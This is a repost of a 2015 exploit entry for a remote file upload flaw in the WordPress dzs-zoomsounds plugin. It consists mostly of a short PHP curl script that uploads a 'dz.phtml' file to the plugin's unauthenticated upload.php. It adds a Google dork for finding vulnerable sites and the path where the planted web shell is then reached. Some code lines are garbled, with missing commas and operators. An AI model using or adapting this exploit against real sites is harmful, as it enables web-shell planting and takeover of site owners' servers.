facebook facebook twitter rss

WordPress dzs-zoomsounds Plugins Remote File Upload

Author: Akram Stelle , Published: 03-06-2015
#######################################
# Exploit Title: WordPress dzs-zoomsounds Plugins Remote File Upload Vulnerability
# Vendor : http://digitalzoomstudio.net/docs/wpzoomsounds/
# Author: bl4ck-dz & Akram Stelle
# Date: 28/05/2015
# Infected File: upload.php
# Category: webapps
# Google dork:inurl:/wp-content/plugins/dzs-zoomsounds/
# Tested on : Linux | Windows
###################################################################################################
<?php 
$evil
="dz.phtml"
$ch curl_init("http://127.0.0.1/wp-content/plugins/dzs-zoomsounds/admin/upload.php"); 
curl_setopt($chCURLOPT_POSTtrue); 
curl_setopt($chCURLOPT_POSTFIELDS,
        array(
'file_field'=>"@$evil")); 
curl_setopt($chCURLOPT_RETURNTRANSFER1); 
$postResult curl_exec($ch); curl_close($ch); 
echo 
"$postResult"
?>

Shell Access :
http://127.0.0.1/wp-content/plugins/dzs-zoomsounds/admin/upload/$Evil

# GreeTz : Mr DZ ~ All DzTeaM Members & all all Dz H4x0rs !

Like us on Facebook :